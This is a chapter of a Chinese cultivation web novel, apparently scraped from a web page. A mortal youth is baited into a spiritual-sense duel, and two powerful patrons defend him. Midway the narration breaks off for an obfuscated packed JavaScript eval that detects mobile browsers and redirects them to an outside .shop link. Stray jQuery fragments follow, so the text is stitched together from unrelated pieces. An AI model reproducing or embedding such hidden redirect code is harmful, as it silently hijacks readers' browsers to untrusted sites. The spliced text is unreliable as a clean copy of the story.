闻言,锦袍少年加深了笑意:“容公子当真要玩?”

    怀里的小白鸟扒到容暄和胸口拱了拱,鸟喙尖尖啄着人,似在阻止。

    容暄和没理会,目光依旧落在那几人身上,重复道:“玩什么?”

    这时,一缕鬼影悄无声息地洇开在青年身后,如守护灵般笼罩了青年的影子。

    “很简单。”锦袍少年指了指小几的灵石阵,介绍道:“咱们以灵石构筑一方小世界,投入神识较量,胜者有奖,不过……”

    骂他“雀儿”的男子打断了他的话,斜睨着容暄和,脸上是毫不掩饰的轻慢:“大家可都是给了赌注的,你的赌注是什么?”

    有人悄声嘀咕:“凡人拿了赌注也没用吧?”

    “你还真当他能赢?”同伴嗤笑道:“说说得了,如果咱们能让一个凡人赢了,那脸也别要了。”

    “行了行了!干嘛总要带他一起玩?”

    旁边女子没好气道:“可别入局就吓哭了,苏尊者怪罪下来,咱们可担待不起。”

    讥讽的,不屑的,无视的……像苍蝇一样嗡嗡作响,扰得人心烦。

    真想让他们闭嘴。

    容暄和不作声地垂眸,瞥向指间纳戒,正要褪下,一道低沉优雅的声音从后方含笑传来,不紧不慢地截住了他的话头。

    “——这个彩头,孤替容公子出了。”

    听到这个声音,众人惊讶地回头。

    华苍从小径尽头缓步而来,唇角噙笑,步履从容,一袭碧青色外衫华光溢彩,眉心那点金光印记更衬得其矜贵无双。

    他只带了一个随从,含笑的眸子扫过众人,叫锦袍少年等人面色一僵。

    妖皇尚在莲台讲经,他们却在这里搞小动作,还被妖皇太子抓了个正着。

    几人对视一眼,不知是该先解释还是先行礼。

    华苍却像没注意到他们不自在似的,笑吟吟地开了口:“讲经内容的确乏味,容公子既是孤请的客人,没有考虑到他不喜听经是孤之过,这个彩头孤替他出,没问题吧?”

    其他人哪里敢说一个不字。

    “不必……”

    容暄和愣了愣,正要拒绝,锦袍少年勉强扯了扯嘴角,阴阳怪气道:“有幸得太子殿下赏脸,既然如此,容公子的赌注就免了罢。”

    “人人如此,容公子独免了,岂不坏了规矩?”

    华苍瞥了角落中的鬼影一眼,笑意不变,温声吩咐道:“小玲珑,取琥珀光来。”

    这个名字一出,其他人全都震惊了。

    琥珀光?!

    难道是那个传说中可淬炼神魂的神仙美酒?

    要知道此酒的酿造方法几已失传,如今哪怕一滴也价值万金,抵得上一个小宗门的全部家底!

    华苍为了一个凡人,竟就这么风轻云淡地拿了出来?!

    一时间,落到容暄和脸上的目光除了不屑,更多了眼热。

    不过一个徒有其表、身无所长的凡人,若能将那张脸取下来,放在自己脸上……

    青年似有所感,抬眸毫不避让地对望。

    随从应声从袖中取出一枚巴掌大的玉壶,小心放置在桌案中央。玉壶剔透,过薄的壶身透出色泽温润的酒液,刚现身便将周边灵气小小扰动了一下。

    锦袍少年呼吸忍不住急切几分:“这就是琥珀光?”

    他有些懊恼,又忍不住欣喜,早知道演这一场不仅能引人上钩,还收获如此好礼,他昨日干嘛费那么大劲?

    得罪了苏问川不说,还栽了两个同伴。

    幸好上苍是公平的,这不,给他补偿来了。

    “诸位,别拘礼。”

    华苍如熏风解愠般招呼众人落座,仿佛他才是发起对局的那个人:“赌注已有,怎的还不开始?是怪孤扰了尔等雅兴?”

    “岂敢岂敢。”

    锦袍少年干笑了一声,清了清嗓子,春风得意道:“既然如此,方师妹和赵师弟便先为容公子演示一遍,也好叫容公子知道怎么玩。”

    两人虽有不愿,但当着华苍的面也不敢推辞。

    容暄和坐在华苍旁边,安抚了一下想爬出来的小鸟,只见两道神识落入灵阵之间,变成小人,你来我往地过招,不过数十息便分出了胜负。

    原来就是打架吗?

    容暄和有点失望,抽了抽被鸟喙叼住的手指,起身道:“抱歉,若是打架,我便不来了。”

    摆明了必输的局,没意思。

    华苍适时道:“若容公子不参加,那这琥珀光……”

    “容公子放心,灵阵之中并无定局。”

    锦袍少年赶忙安抚他,眼底全是对琥珀光的势在必得:“规则如何,端看神识更强的那方如何写就,是吧?赵师弟。”

    他不露声色地递了个眼神,赵盎然却正因当众输了师妹而没脸,窝火道:“行了,不就是想我让着他吗?既要赌又怕输,脸子都是自己挣的,玩不起就直接说。”

    “师弟!”

    锦袍少年蹙了蹙眉,带着恰到好处的责备道:“你当真越发没规矩了,还不快向容公子道歉!”

    “道歉?”

    赵盎然夸张地重复了一遍,语气挑衅道:“好啊,我是个直性子,不爱弄那么多弯弯绕绕的,容公子多包容。”

    阴阳怪气的冷笑此起彼伏。

    这样走了实在窝囊。

    冷笑声里,青年竟重新坐了下来。

    一张漂亮的小脸没有他们想象的局促,反而满是冷意。

    青年本就是偏明艳的长相,一双眼睛不笑的时候,眼尾微微上扬,多了几分想让人催折的锋芒。

    容暄和开始思考放鸟咬人的可能性。

    小白鸟咬他挺凶,手指头都被啄红了,不知道对其他人是不是一样威风。

    华苍以手支颐,淡笑着看了半晌戏,方开口道:“容公子并无修为,几位既然知晓,却偏要以神识交战为规则,莫非要恃强凌弱?”

    “这个嘛……”

    锦袍少年欲要解释,青年忽然道:“玩,可以。”

    他扫过每一个人:“但规矩,我来定。”

    “谁强谁定!”

    赵盎然嗤之以鼻,打定了主意一点也不让。

    容暄和心头也起了火,正要据理力争,不远处忽然传来一道冷淡的音色。

    “不行。”

    众人转头,见雪白衣角随风招展,齐齐变了脸色。

    苍嶷剑尊?!

    若说华苍来只是让人不自在,那么此人的到来便足以让人心惊胆战,如芒在背。作为当今剑道第一人,苏问川单论修为造诣,几乎可以与许多世家老祖平起平坐。

    男人缓步行至众人面前,手上拿着披风,随手盖在青年身上,动作轻柔,再抬眼看向赵盎然时,目光陡然冷了下来:“方才是你出言挑衅?”

    被点到名,赵盎然定在原地。

    他脊背僵直,声音发颤:“是、是他自己答应的!”

    不是说此人只是苍嶷剑尊的娈宠吗?一代剑尊怎会为一个娈宠下场?

    早知如此,就是打死赵盎然刚才也不敢那么嚣张!

    “是么?”

    苏问川冷冷一哂,目光又落到另一边的锦袍少年身上,显然认出了他,嗓音凉薄:“你叔父若是管不好你,本尊不介意代为管教。”

    “……不是这样的,您听我解释!”

    锦袍少年有点崩溃了。

    难道是今日出门前没看黄历,不然怎么会两尊大神一前一后地来给凡人撑腰?

    苏问川的出现引来了场中已有不少人的目光,窃窃私语声渐起,远处道枫似乎也注意到了这边。

    华苍饶有兴致地托着下巴看戏,出乎意料的是,容暄和按住了苏问川的手。

    “等等,我要玩!”

    苏问川手紧了紧:“我说了,不行。”

    青年覆在男人的大掌上,执着道:“我要玩,已经知道该怎么玩了!”

    若是苏问川来之前,他大约会顺坡下驴,就此作罢。

    但现在既然有人撑腰,对面想必也不敢明目张胆地下黑手,他不如借这个机会立起来。

    二人对视几息,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662100|206034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    苏问川没有松口的意思,眉头压低,似乎随时要将人带走。

    男人目光扫向众人,所过之处,人人噤声。

    锦袍少年大气也不敢出,生怕对方看不顺眼想起昨夜的旧账,又恨叔父此时不在身边,不能帮他斡旋,其他人更是没有一个敢出头的。

    可这样一尊杀神,偏偏经不得凡人两句痴缠。

    “苏问川——”

    容暄和拖长了尾音,凑到他耳边小声道:“有你在,我怕什么?让我玩一次好不好嘛。”

    他扯着人衣袖晃了晃,又是说好话又说撒娇的,生怕对方真不让自己玩,急得快贴到怀里去了:“求你了求你了,就这么一次机会,你不让我玩我要无聊死了,问川……”

    半晌,苏问川才暗叹一声:“……只许这次。”

    男人微微眯起眼,望着赵盎然,目光让人背后发凉:“他赢,你上门赔礼道歉。他输,你也别想走。”

    赵盎然猛然抬头,脸色变了又变:“凭什么!怎能这般无赖!”

    “这不是你自己说的么?”

    容暄和靠在苏问川肩膀上,转头道:“谁强,规矩谁定。怎么,现在遇到比你强的就不认了?”

    被自己的话堵了回来,赵盎然涨得脸色通红,却找不出话反驳。

    此人好一副小人得志的嘴脸!

    如今倒是他进退两难,赢,会被苏问川找麻烦,输……他怎么可能输给凡人!

    罢了,横竖都是个死。

    赵盎然索性眼睛一闭,一头扎进了灵阵之中。

    容暄和按照指引,将手放在小几上,也闭上了眼。

    甫一落地,眼前景象便从雪峰顶变成了空白。

    好像不是那两个人对战的场景。

    青年问:“这是哪里?”

    赵盎然不耐烦道:“你决定,赶紧!”

    他可不想陪一个凡人多耗。

    又有不少修士围观了过来,众目睽睽之下,只见灵石阵内铺开一方山水,地势高低起伏,环绕盆地形成天然擂台,流水林木皆栩栩如生。

    “哦?”

    华苍眯眼,看着精致山水,玩味道:“赵道友这是要做壶中天地?”

    锦袍少年脸色微变。

    不对。

    他了解赵师弟,素来一根筋的主,极好利用,怎么可能在短短几息就生成如此精妙的山水矩阵?

    ……

    阵法内。

    容暄和额上也渗出了细汗。

    按照看过的电影和网游,他勉强构造出了一个还算像样的场景,但只是这样也十分吃力,呼吸发紧。

    不过不重要,既然已经构造出来了,那么接下来就是……

    “唰!”

    不等他想好,一道刀光忽的从斜里刺出!

    青年猝不及防受了一击,膝盖一弯,单膝跪地:“唔!”

    他咬住牙关向后看去,幸好神识与肉身不同,没有流血。

    同一时间,双方头顶莫名出现了一道红条,容暄和的稍短些。

    “这是什么?”

    赵盎然诧异地抬头,发现手能穿过去,并没有什么用,遂嘲讽道:“花里胡哨。”

    他抛了一下刀,高傲道:“可别说我欺负你——我再给你三息,三息之后没躲开,就是下一刀。”

    未曾想,青年压根不理他的嘲讽。

    容暄和仍在原地,抬头紧盯着少了一点的红条,喃喃道:“还该多个蓝条才对……”

    言出法随,红条下方添加了一条两端齐长的蓝条。

    不同于红条的是,容暄和的蓝条近乎满格,而赵盎然的少了一点。

    “既然由我决定,”青年似乎已经完全陷入了自己的世界里,喃喃道:“那得再来个武器……嗯,就用剑吧。”

    比较帅。

    他的话音刚落,手上忽然多出了一柄剑的虚影。

    剑身修长,通体银白,剑柄处锁着一枚铜钱。

    ——虽非名剑,却对某些人而言再熟悉不过,犹如故人归来。

    阵外忽的起了哗然。